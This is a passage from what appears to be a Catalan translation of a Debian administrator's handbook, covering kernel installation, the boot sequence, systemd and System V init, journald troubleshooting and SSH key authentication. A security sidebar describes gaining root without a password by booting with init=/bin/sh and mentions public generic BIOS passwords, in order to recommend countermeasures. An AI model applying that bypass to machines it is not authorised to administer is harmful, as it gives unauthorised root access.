La taula de símbols ajuda als desenvolupadors a entendre el significat d'un missatge d'error del nucli; sense ell, els «oops» del nucli (un «oops» és l'equivalent d'una falla de segmentació per als programes d'espai d'usuari o, en altres paraules, els missatges generats seguint una desreferència de punter no vàlida) només contenen adreces numèriques de memòria, que és informació inútil sense la taula que relaciona aquestes adreces amb els símbols i noms de funcions.

Els «scripts» de configuració del paquet generen automàticament una imatge initramfs (el successor de l'antiga imatge «ramdisk» inicial initrd), que és un mini-sistema comprimit dissenyat per ser carregat en memòria (d'aquí en ve el nom, que significa «init ram filesystem» o “sistema de fitxers d'inicialització en ram”) pel carregador d'arrencada, i utilitzat pel nucli Linux només per carregar els mòduls necessaris per accedir als dispositius que contenen el sistema Debian complet (per exemple, el controlador per als discs SATA). Finalment, els «scripts» de post-instal·lació actualitzen els enllaços simbòlics /vmlinuz, /vmlinuz.old, /initrd.img i /initrd.img.old de manera que apuntin als dos últims nuclis instal·lats, respectivament, així com a les corresponents imatges d'arrencada «initramfs».

La majoria d'aquestes tasques són delegades a «hook scripts» als directoris /etc/kernel/*.d/. Per exemple, la integració amb grub es basa en /etc/kernel/postinst.d/zz-update-grub i /etc/kernel/postrm.d/zz-update-grub per a cridar update-grub quan s'instal·len o s'eliminen nuclis.

8.11.2. Instal·lació amb dpkg

L'ús d'apt és tan convenient que fa que sigui fàcil oblidar-se de les eines de nivell inferior, però la forma més fàcil d'instal·lar un nucli compilat és utilitzar una ordre com ara dpkg -i paquet.deb, on paquet.deb és el nom d'un paquet linux-image com ara linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

Les passes de configuració descrites en aquest capítol són bàsiques i poden servir tant a un sistema de servidor com a una estació de treball, i pot ser massivament duplicat de forma semiautomatitzada. No obstant això, no n'hi ha prou per si mateix amb proporcionar un sistema plenament configurat. Algunes peces encara necessitaran configuració, començant amb programes de baix nivell coneguts com a "Serveis Unix".

Capítol 9. Serveis Unix

Aquest capítol cobreix una sèrie de serveis bàsics que són comuns a molts sistemes Unix. Tots els administradors haurien d'estar familiaritzats amb ells.

9.1. Engegada del sistema

Quan s'inicia l'ordinador, els molts missatges que apareixen a la consola mostren moltes inicialitzacions i configuracions automàtiques que s'estan executant. A vegades es pot voler alterar lleugerament com funciona aquesta etapa, cosa que significa que cal entendre-la bé. Aquest és el propòsit d'aquesta secció.

En els sistemes amb una BIOS, primer la BIOS pren el control de l'ordinador, inicialitza els controladors i el maquinari, detecta els discos i ho connecta tot. Després, cerca el Master Boot Record (MBR) del primer disc segons l'ordre d'arrencada i carrega el codi emmagatzemat allà (primera etapa). Aquest codi llança la segona etapa i finalment executa el carregador d'arrencada.

A diferència de la BIOS, l'UEFI és més sofisticada, coneix sistemes de fitxers i pot llegir les taules de particions. La interfície cerca en l'emmagatzematge del sistema una partició etiquetada amb un identificador únic global específic (GUID) que la marqui com la «EFI System Partition» (ESP), on es troben els carregadors d'arrencada, gestors d'arrencada, la shell UEFI, etc., i llança el carregador d'arrencada desitjat. Si el «Secure Boot» està activat, el procés d'arrencada verificarà l'autenticitat dels binaris EFI per la signatura (així doncs, en aquest cas es requereix grub-efi-arquitectura-signed). L'especificació UEFI també defineix el suport per a l'arrencada en mode BIOS antic. Això s'anomena el «Compatibility Support Module» (CSM). Si el CSM està habilitat, s'intentarà arrencar des de l'MBR d'una unitat. No obstant això, molts sistemes nous ja no admeten el mode CSM.

En ambdós casos llavors el gestor d'arrencada que toca pren el control i localitza un segon carregador d'arrencada o el nucli en un disc, el carrega i l'executa. El nucli llavors s'inicialitza, i comença a cercar i muntar la partició que conté el sistema de fitxers arrel, i finalment executa el primer programa — init. Freqüentment, aquesta “partició arrel” i aquest init es troben, de fet, en un sistema de fitxers virtual que només existeix a la RAM (d'aquí el seu nom, “initramfs”, anteriorment anomenat “initrd” per “disc RAM d'inicialització”). Aquest sistema de fitxers és carregat en memòria pel carregador d'arrencada, sovint des d'un fitxer en un disc dur o des de la xarxa. Conté el mínim necessari perquè el nucli carregui el sistema de fitxers arrel “veritable”: això poden ser mòduls de controladors per al disc dur, o altres dispositius sense els quals el sistema no pot arrencar, o, més freqüentment, scripts d'inicialització i mòduls per a muntar tires de RAID, obrir particions encriptades, activar volums LVM, etc. Un cop la partició arrel està muntada, els “initramfs” passen el control a l'“init” real, i la màquina torna al procés d'arrencada estàndard.

9.1.1. El sistema d'inici de systemd

Aquest “init real” és proveït actualment per systemd i aquesta secció documenta aquest sistema d'inici.

CULTURA Abans de systemd

systemd és un “sistema d'inici” relativament nou, i encara que ja estava disponible, en certa mesura, a Wheezy, no s'ha convertit en el valor predeterminat fins a Debian Jessie. Els llançaments anteriors es basaven, per defecte, en el “System V init” (al paquet sysv-rc), un sistema molt més tradicional. Descobrim més endavant l'inici del “System V”.

ALTERNATIVA Altres sistemes d'inici

Aquest llibre descriu el sistema d'arrencada utilitzat per defecte a Debian des de Buster (i implementat pel paquet systemd), així com el predeterminat anterior, sysvinit, que deriva i hereta de System V Unix; però també n'hi ha d'altres.

El sistema upstart encara no està perfectament provat a Debian. Es basa en esdeveniments: els scripts d'inici ja no s'executen en un ordre seqüencial, sinó en resposta a esdeveniments com la finalització d'un altre script del qual depenen. Aquest sistema, iniciat per Ubuntu, va ser present a Debian Jessie, però no va ser el predeterminat; de fet, va aparèixer com a substitució de sysvinit, i una de les tasques llançades per upstart era llançar els scripts escrits per a sistemes tradicionals, especialment els del paquet sysv-rc.

openrc és un gestor de serveis basat en dependències. Originalment va ser escrit per al projecte Gentoo, però té com a objectiu ser agnòstic respecte de la plataforma. Manté la compatibilitat amb el sistema init de System V i proporciona suport per arrencar, canviar els nivells d'execució, iniciar i aturar els serveis (en paral·lel) i aturar el sistema.

També hi ha altres sistemes i altres modes d'operació, com ara file-rc, runit o minit, però són relativament especialitzats i no estan molt estesos.

Figura 9.1. Seqüència d'arrencada d'un ordinador executant Linux amb systemd

CAS ESPECÍFIC Engegada des de la xarxa

En algunes configuracions, el sistema es pot configurar per no executar codi del maquinari físic, sinó per buscar el seu equivalent a la xarxa, fent possible usar ordinadors sense disc dur, o que es reinstal·len completament en cada arrencada. Aquesta opció no està disponible en tot el maquinari i en general requereix una combinació apropiada de «firmware» i targeta de xarxa.

L'arrencada des de la xarxa es pot utilitzar per llançar el debian-installer o FAI (vegeu Secció 4.1, «Mètodes d'instal·lació»).

TORNAR A LES BASES El procés, una instància d'un programa

Un procés és la representació d'un programa en execució a la memòria. Inclou tota la informació necessària per a la correcta execució del programa (el codi en si, però també les dades que té en memòria, la llista d'arxius que ha obert, les connexions de xarxa que ha establert, etc.). Un sol programa pot ser instanciat en diversos processos, no necessàriament executant-se sota diferents identificadors d'usuari.

SEGURETAT Ús d'un intèrpret de comandes com init per obtenir permisos de “root”

Per convenció, el primer procés que s'inicia és el programa init (que és un enllaç simbòlic a /lib/systemd/systemd per defecte). Tanmateix, és possible passar una opció init al nucli indicant un programa diferent.

Qualsevol persona que pugui accedir a l'ordinador pot prémer el botó Reinicia, i així reiniciar-lo. Després, al carregador d'engegada, és possible passar l'opció init=/bin/sh al nucli per obtenir accés d'arrel sense conèixer la contrasenya de l'administrador.

Per evitar-ho, es pot protegir el carregador amb una contrasenya. També es podria considerar la protecció de l'accés a la BIOS (un mecanisme de protecció per contrasenya gairebé sempre està disponible), sense el qual un intrús maliciós podria arrencar la màquina en un mitjà extraïble que contingués el seu propi sistema Linux, i que es podria utilitzar per accedir a les dades dels discs durs de l'ordinador.

Finalment, tingueu present que la majoria d'implementacions BIOS/EFI tenen una contrasenya genèrica disponible. Inicialment es va fer per solucionar problemes per a aquells que haguessin oblidat la seva contrasenya; aquestes contrasenyes ara són públiques i estan disponibles a Internet (vegeu-ho vosaltres mateixos buscant "contrasenyes de BIOS genèriques" en un motor de cerca). Totes aquestes proteccions impediran així l'accés no autoritzat a la màquina però sense ser capaces d'impedir-ho completament. No hi ha manera fiable de protegir un ordinador si l'atacant pot accedir-hi físicament; sempre podrien desmuntar els discos durs per connectar-los a un ordinador sota el seu propi control, o fins i tot robar tota la màquina, o esborrar la memòria BIOS per restablir la contrasenya…

Systemd executa diversos processos, que es fan càrrec de la configuració del sistema: teclat, controladors, sistemes de fitxers, xarxa, serveis. Ho fa mantenint una visió global del sistema en el seu conjunt i dels requisits dels components. Cada component és descrit per un “arxiu d'unitat” o «unit file» (i de vegades més d'un); la sintaxi general es deriva de la sintaxi àmpliament usada dels fitxers “*.ini”, amb parells clau =valor agrupats entre capçaleres[secció]. Els arxius d'unitats s'emmagatzemen sota /lib/systemd/system/ i /etc/systemd/system/; hi ha diferents variants, però aquí ens centrarem en els de “serveis” i “objectius” (o «targets»).

Un “fitxer .service” de systemd descriu un procés gestionat per systemd. Conté bàsicament la mateixa informació que els antics scripts “init”, però expressada de forma declaratòria (i molt més concisa). Systemd gestiona la major part de les tasques repetitives (començar i aturar el procés, comprovar el seu estat, registrar, abandonar els privilegis, etc.), i el fitxer de servei només necessita omplir els detalls específics del procés. Per exemple, aquí està el fitxer de servei per a SSH:

[Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target Alias=sshd.service

La secció [Unit] conté informació genèrica sobre el servei, com la seva descripció i recursos de pàgines de manual, així com relacions (de dependència i d'ordre) amb altres serveis. La part [Service] conté les declaracions relacionades amb l'execució del servei (inici, aturada, matar, reinici), els directoris i els fitxers de configuració utilitzats. L'última secció, [Install], també porta informació sobre en quins «targets» s'ha d'instal·lar el servei i, en aquest cas, l'àlies que es pot utilitzar en lloc del nom del servei. Com podeu veure, hi ha molt poc codi aquí, només declaracions. Systemd té cura de mostrar informes de progrés, fer un seguiment dels processos, i fins i tot reiniciar-los quan sigui necessari. La sintaxi d'aquests fitxers es descriu completament en diverses pàgines de manual (per exemple systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

Un “fitxer .target” de systemd descriu un estat del sistema on se sap que un conjunt de serveis estan operatius. Es pot considerar com un equivalent del antics nivells d'execució. Un dels objectius és local-fs.target; quan s'hi arriba, la resta del sistema pot assumir que tots els sistemes de fitxers locals estan muntats i són accessibles. Altres objectius són network-online.target i sound.target (per la llista completa d'objectius especials veieu systemd.special(7)). Les dependències d'un objectiu es poden llistar dins del fitxer objectiu (a la línia Requires=), o utilitzant un enllaç simbòlic a un fitxer de servei al directori /lib/systemd/system/objectiu.target.wants/. Per exemple, /etc/systemd/system/printer.target.wants/ conté un enllaç a /lib/systemd/system/cups.service; systemd assegurarà que CUPS s'està executant per assolir printer.target.

Com que els arxius d'unitats són declaratius en lloc de scripts o programes, no es poden executar directament, i només s'interpreten per systemd; diverses utilitats permeten a l'administrador interaccionar amb systemd i controlar l'estat del sistema i de cada component.

La primera utilitat d'aquest tipus és systemctl. Quan s'executa sense cap argument, llista tots els fitxers d'unitat coneguts per systemd (excepte els que han estat anul·lats), així com el seu estat. systemctl status ofereix una millor visió dels serveis, així com els processos relacionats. Si se li dona el nom d'un servei (com amb systemctl status ntp.service), retorna encara més detalls, així com les últimes línies de registre relacionades amb el servei (com es detallarà més endavant).

Engegar un servei manualment és simplement qüestió d'executar systemctl start nom-del-servei.service. Com es pot deduir, per aturar el servei es fa amb systemctl stop nom-del-servei.service; altres subordres inclouen reloadi restart.

Per controlar si un servei està activat (és a dir, si s'iniciarà automàticament en arrencar), utilitzeu systemctl enable nom-del-servei.service (o disable). is-enabled permet comprovar saber si està activat o no.

Una característica interessant de systemd és que inclou un component enregistrador anomenat journald. És un complement a sistemes de registre més tradicionals com ara syslogd, però aporta característiques interessants com un enllaç formal entre un servei i els missatges que genera, i la capacitat de capturar missatges d'error generats per la seva seqüència d'inicialització. Els missatges es poden mostrar més endavant, amb una mica d'ajuda de l'ordre journalctl. Sense cap argument, simplement mostrarà tots els missatges de registre generats des de l'arrencada del sistema; rarament s'utilitzarà d'aquesta manera. La majoria de vegades s'utilitzarà amb un identificador de servei:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Una altra opció útil de la línia d'ordres és -f, que indica a journalctlque continui mostrant els missatges nous a mesura que s'emeten (de manera similar a cat -f fitxer).

Si un servei no sembla estar funcionant com s'esperava, el primer pas per resoldre el problema és comprovar que el servei s'està executant amb systemctl status; si no ho està, i informació donada per l'anterior ordre no són suficients per diagnosticar el problema, es pot comprovar els registres recollits per journald sobre aquest servei. Per exemple, assumint que el servidor SSH no funciona:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi /etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

Després de comprovar l'estat del servei («failed»), es passa a comprovar els registres; indiquen un error en el fitxer de configuració. Després d'editar el fitxer de configuració i esmenar l'error, es reinicia el servei, i després es verifica que efectivament s'està executant.

ANANT MÉS ENLLÀ Altres tipus de fitxers d'unitat

Només s'han descrit les capacitats més bàsiques de systemd en aquesta secció. Ofereix moltes altres característiques interessants; només enumerarem unes quantes:

activació de sòcol («socket»): un fitxer d'unitat de sòcol pot ser utilitzat per descriure una xarxa o un sòcol Unix gestionat per systemd; això significa que el sòcol serà creat per systemd, i el servei real es pot iniciar sota demanda quan arribi un intent de connexió real. Això replica aproximadament el conjunt de funcions d'inetd. Vegeu systemd.socket(5).

temporitzadors («timer»): un arxiu d'unitat de temporitzador descriu esdeveniments que ocorren amb una freqüència fixa o en instants específics; quan un servei està vinculat a aquest temporitzador, la tasca corresponent s'executarà quan el temporitzador s'activi. Això permet replicar part de les funcions de cron. Vegeu systemd.timer(5).

xarxa («network»): un fitxer d'unitat de xarxa descriu una interfície de xarxa, fet que permet configurar aquestes interfícies, així com expressar que un servei depèn del fet que una interfície en particular estigui activada. Veieu systemd.network(5).

9.1.2. El sistema d'inici de System V

El sistema d'inici del System V (que anomenarem “init” per abreujar) executa diversos processos seguint les instruccions del fitxer /etc/inittab. El primer programa que s'executa (que correspon amb el pas sysinit) és /etc/init.d/rcS, un script que executa tots els programes del directori /etc/rcS.d/.

Entre aquests, trobareu successivament programes encarregats de:

configurar el teclat de la consola;

carregar controladors: la majoria dels mòduls del nucli són carregats per ell mateix a mida que es detecta el maquinari; controladors addicionals són carregats automàticament quan els mòduls corresponents es llisten a /etc/modules;

verificar la integritat dels sistemes de fitxers;

muntar particions locals;

configurar la xarxa;

muntar sistemes de fitxers en xarxa (NFS).

TORNAR A LES BASES Mòduls del nucli i opcions

Ja heu après que els mòduls del nucli es poden carregar a l'inici del sistema afegint-los a /etc/modules o en un fitxer sota /etc/modules-load.d/. Però els mòduls del nucli també tenen opcions que es poden configurar posant alguns fitxers a /etc/modprobe.d/. Aquestes opcions es defineixen amb directives com aquesta: options nom-del-mòdul nom-de-l'opció=valor-de-l'opció. Es poden especificar diverses opcions amb una única directiva si és necessari.

Aquests fitxers de configuració estan pensats per a modprobe — el programa que carrega un mòdul del nucli amb les seves dependències (els mòduls poden requerir altres mòduls). Per llistar totes les opcions d'un mòdul useu l'ordre modinfo -p mòdul. Ambdós programes estan inclosos al paquet kmod juntament amb altres eines per a gestionar mòduls.

Havent après sobre systemd, serveis i objectius («targets») poden utilitzar el modprobe.mòdul.service per carregar els mòduls del nucli dels quals depenen.

Després d'aquesta etapa, init pren el control i inicia els programes habilitats en el nivell d'execució (o «runlevel») per defecte (que normalment és el nivell d'execució 2). Executa /etc/init.d/rc 2, un script que inicia tots els serveis que estan llistats a /etc/rc2.d/ i els noms dels quals comencen amb la lletra “S”. El número de dues xifres que segueix s'havia utilitzat històricament per definir l'ordre en què els serveis havien d'iniciar-se, però actualment el sistema d'arrencada per defecte utilitza insserv, que ho planifica tot automàticament basant-se en les dependències dels scripts. Així, cada script d'arrencada declara les condicions que s'han de complir per iniciar o aturar el servei (per exemple, si ha de començar abans o després d'un altre servei); init després les executa en l'ordre que compleix aquestes condicions. La numeració estàtica dels scripts ja no es té en compte (però sempre han de tenir un nom que comenci amb “S” seguit de dos dígits i el nom real de l'script utilitzat per a les dependències). En general, els serveis bàsics (com ara l'enregistrament amb rsyslog, o l'assignació de ports amb portmap) són iniciats primer, seguits pels serveis estàndard i la interfície gràfica (gdm3).

Aquest sistema d'arrencada basat en dependències fa possible automatitzar la “re-numeració”, que podria ser bastant tediosa si s'hagués de fer manualment, i limita els riscos de l'error humà, ja que la planificació es duu a terme d'acord amb els paràmetres indicats. Un altre avantatge és que els serveis poden ser engegats en paral·lel quan són independents els uns dels altres, la qual cosa pot accelerar el procés d'arrencada.

init distingeix diversos nivells d'execució, de manera que pot canviar d'un a un altre amb el comandament telinit nou-nivell. Immediatament, init executa /etc/init.d/rc de nou amb el nou nivell d'execució. Aquest script iniciarà els serveis que falten i aturarà els que ja no es volen. Per fer això, es refereix al contingut del /etc/rcX.d (on X representa el nou nivell d'execució). Els scripts que comencen amb “S” (de l'anglès «Start») són els serveis que s'iniciaran; els que comencen amb “K” (de l'anglès «Kill») són els serveis que s'aturaran. L'script no inicia cap servei que ja estigués actiu en el nivell d'execució anterior.

Per defecte, l'init de System V a Debian utilitza quatre nivells d'execució diferents:

El nivell 0 només s'utilitza temporalment, mentre l'ordinador s'està apagant. Com a tal, només conté scripts “K”.

El nivell 1, també conegut com a mode “mono-usuari”, correspon al sistema en mode degradat; inclou només serveis bàsics, i està destinat a operacions de manteniment on la interaccions amb usuaris ordinaris no són desitjades.

El nivell 2 és el nivell d'operació normal, que inclou serveis de xarxa, una interfície gràfica, inicis de sessió d'usuari, etc.

El nivell 6 és similar al nivell 0, però s'utilitza durant la fase d'aturada que precedeix un reinici.

Hi ha altres nivells, com ara del 3 al 5. Per defecte estan configurats per operar de la mateixa manera que el nivell 2, però l'administrador pot modificar-los (afegint o suprimint scripts als corresponents /etc/rcX.d) per adaptar-los a necessitats particulars.

Figura 9.2. Seqüència d'arrencada d'un ordinador executant Linux amb l'init del System V

Tots els scripts continguts en els diversos directoris /etc/rcX.d són realment enllaços simbòlics — creats després de la instal·lació dels paquets pel programa update-rc.d — apuntant als scripts reals que s'emmagatzemen a /etc/init.d/. L'administrador pot ajustar els serveis disponibles a cada nivell d'execució re-executant update-rc.d amb paràmetres adaptats. La pàgina del manual update-rc.d(1) descriu la sintaxi detalladament. Tingueu en compte que eliminar tots els enllaços simbòlics (amb el paràmetre remove) no és un bon mètode per desactivar un servei. En lloc d'això simplement haureu de configurar-lo per no engegar-se al nivell d'execució desitjat (mantenint però les crides corresponents per aturar-lo en cas que el servei s'executi en el nivell d'execució anterior). Atès que update-rc.d té una interfície una mica complexa, podeu preferir utilitzar rcconf (del paquet rcconf) que proporciona una interfície més fàcil d'utilitzar.

NORMATIVA DEBIAN Reengegar serveis

Els scripts de mantenidor dels paquets de Debian de vegades reinicien determinats serveis per assegurar la seva disponibilitat o aconseguir que tinguin en compte determinades opcions. L'ordre que controla un servei — service servei operació — no té en compte el nivell d'execució, suposa (de forma errònia) que el servei s'està utilitzant actualment, i pot iniciar operacions incorrectes (començar un servei que s'ha aturat deliberadament, o aturar un servei que ja s'ha aturat, etc.). Per tant, Debian va introduir el programa invoke-rc.d: aquest programa ha de ser utilitzat pels scripts de mantenidor per executar scripts d'inicialització de serveis i només executarà les ordres necessàries. Adoneu-vos-en que, contràriament a l'ús normal, el sufix .d s'utilitza aquí en un nom de programa i no en un directori.

Finalment, init inicia programes de control per a diverses consoles virtuals (getty). Mostra un indicador, esperant un nom d'usuari, i després executa login usuari per iniciar una sessió.

VOCABULARI Consola i terminal

Els primers ordinadors estaven separats en diverses parts molt grans: el recinte d'emmagatzematge i la unitat de processament central es van separar dels dispositius perifèrics utilitzats pels operadors per controlar-los. Formaven part d'un mobiliari separat, la “consola”. Aquest terme es va conservar, però el seu significat ha canviat. Ha esdevingut més o menys sinònim de “terminal”, essent un teclat i una pantalla.

Amb el desenvolupament dels ordinadors, els sistemes operatius han ofert diverses consoles virtuals per permetre diverses sessions independents al mateix temps, encara que només hi hagi un teclat i pantalla. La majoria dels sistemes GNU/Linux ofereixen sis consoles virtuals (en mode text), accessibles escrivint les combinacions de tecles Control+Alt+F1 a Control +Alt +F6.

Per extensió, els termes “consola” i “terminal” també es poden referir a un emulador de terminal en una sessió gràfica (com ara xterm, gnome-terminal o konsole).

9.2. Inici de sessió remot

És essencial que un administrador pugui connectar-se a un ordinador remotament. Els servidors, confinats al seu espai, rarament estan equipats amb teclats i monitors permanents, però estan connectats a la xarxa.

TORNAR A LES BASES Client, servidor

Un sistema en el qual diversos processos es comuniquen entre ells es descriu sovint amb la metàfora de “client/servidor”. El servidor és el programa que recull les sol·licituds procedents d'un client i les executa. El client controla les operacions, el servidor no pren cap iniciativa pròpia.

9.2.1. Inici de sessió remot segur: SSH

El protocol SSH (Secure SHell) va ser dissenyat amb la seguretat i la fiabilitat en ment. Les connexions que utilitzen SSH són segures: l'altra part està autenticada i tots els intercanvis de dades estan encriptats.

CULTURA Telnet i RSH són obsolets

Abans de l'SSH, Telnet i RSH eren les eines principals utilitzades per accedir remotament. Actualment són en gran manera obsoletes i no haurien de continuar utilitzant-se encara que Debian encara els proporcioni.

VOCABULARI Autenticació, xifratge

Quan cal donar a un client la capacitat de dur a terme o activar accions en un servidor, la seguretat és important. Cal assegurar la identitat del client; això és, l'autenticació. Aquesta identitat normalment consisteix en una contrasenya que s'ha de mantenir en secret, o qualsevol altre client podria obtenir-la. Aquest és el propòsit de l'encriptació, que és una forma de codificació que permet a dos sistemes intercanviar informació confidencial a través d'un canal públic al mateix temps que la protegeix de ser llegible per altres.

L'autenticació i l'encriptació s'esmenten sovint juntes, tant perquè s'utilitzen sovint juntes, com perquè s'apliquen normalment amb conceptes matemàtics similars.

SSH també ofereix dos serveis de transferència de fitxers. scp és una eina de línia d'ordres que es pot utilitzar com cp, excepte que qualsevol camí a una altra màquina està prefixat amb el nom de la màquina, seguit de dos punts (“:”).

$ scp fitxer ordinador:/tmp/

sftp és una ordre interactiva, similar a ftp. En una sola sessió, sftp pot transferir diversos fitxers, i és possible manipular fitxers remots (suprimir, reanomenar, canviar permisos, etc.).

Debian utilitza OpenSSH, una versió lliure d'SSH mantinguda pel projecte OpenBSD (un sistema operatiu lliure basat en el nucli BSD, centrat en la seguretat) i bifurcació («fork») del programa SSH original desenvolupat per l'empresa SSH Communications Security Corp, de Finlàndia. Aquesta empresa inicialment va desenvolupar SSH com a programari lliure, però finalment va decidir continuar-ne el desenvolupament sota una llicència propietària. El projecte OpenBSD va crear llavors l'OpenSSH per mantenir una versió lliure de l'SSH.

TORNAR A LES BASES Bifurcació («fork»)»

Una “bifurcació” (o «fork» en anglès), en l'àmbit del programari, significa un nou projecte que comença com un clon d'un projecte existent, i que competirà amb ell. A partir d'aquí, tots dos programes solen divergir ràpidament en termes de nous desenvolupaments. Una bifurcació és sovint el resultat de desacords dins de l'equip de desenvolupament.

L'opció de bifurcar un projecte és un resultat directe de la mateixa naturalesa del programari lliure; una bifurcació és un esdeveniment saludable quan permet la continuació d'un projecte com a programari lliure (per exemple en cas de canvis de llicència). Una bifurcació derivada de desacords tècnics o personals és sovint un balafiament de recursos humans; una altra resolució seria preferible. Les fusions de dos projectes que prèviament havien passat per una bifurcació anterior no són inaudits.

L'OpenSSH està separat en dos paquets: la part del client està al paquet openssh-client, i el servidor està al paquet openssh-server. El metapaquet ssh depèn de les dues parts i facilita la instal·lació d'ambdues (apt install ssh), mentre que task-ssh-server, normalment escollit durant la instal·lació inicial, depèn només del paquet del servidor.

9.2.1.1. Autenticació basada en claus

Cada vegada que inicia una sessió amb SSH, el servidor remot demana una contrasenya per autenticar l'usuari. Això pot ser problemàtic si voleu automatitzar una connexió, o si utilitzeu una eina que requereix connexions freqüents sobre SSH. Per això SSH ofereix un sistema d'autenticació basat en claus.

L'usuari genera un parell de claus a la màquina client amb ssh-keygen -t rsa; la clau pública que genera s'emmagatzema a ~/.ssh/id_rsa.pub, mentre que la clau privada corresponent es desa a ~/.ssh/id_rsa. L'usuari pot llavors utilitzar ssh-copy-id servidor per afegir la seva clau pública al fitxer ~/.ssh/authorized_keys al servidor o, si l'accés SSH encara no s'ha activat, s'ha de demanar a l'administrador que afegeixi la clau manualment.

Si la clau privada no estava protegida amb una contrasenya (o «passphrase») en el moment de la seva creació, tots els inicis de sessió posteriors del servidor funcionaran sense contrasenya. En cas contrari, la clau privada ha de ser desencriptada cada vegada introduint la contrasenya. Afortunadament, ssh-agent ens permet mantenir les claus privades en memòria per no haver de tornar a introduir la contrasenya cada cop. Per a això, simplement utilitzeu ssh-add (una vegada per sessió de treball) sempre que la sessió ja estigui associada amb una instància funcional d' ssh-agent. Debian l'activa per defecte en sessions gràfiques, però això es pot desactivar canviant /etc/X11/Xsession.options i comentar use-ssh-agent. Per a una sessió de consola, es pot iniciar manualment l'agent amb eval $(ssh-agent)).

SEGURETAT Protecció de la clau privada

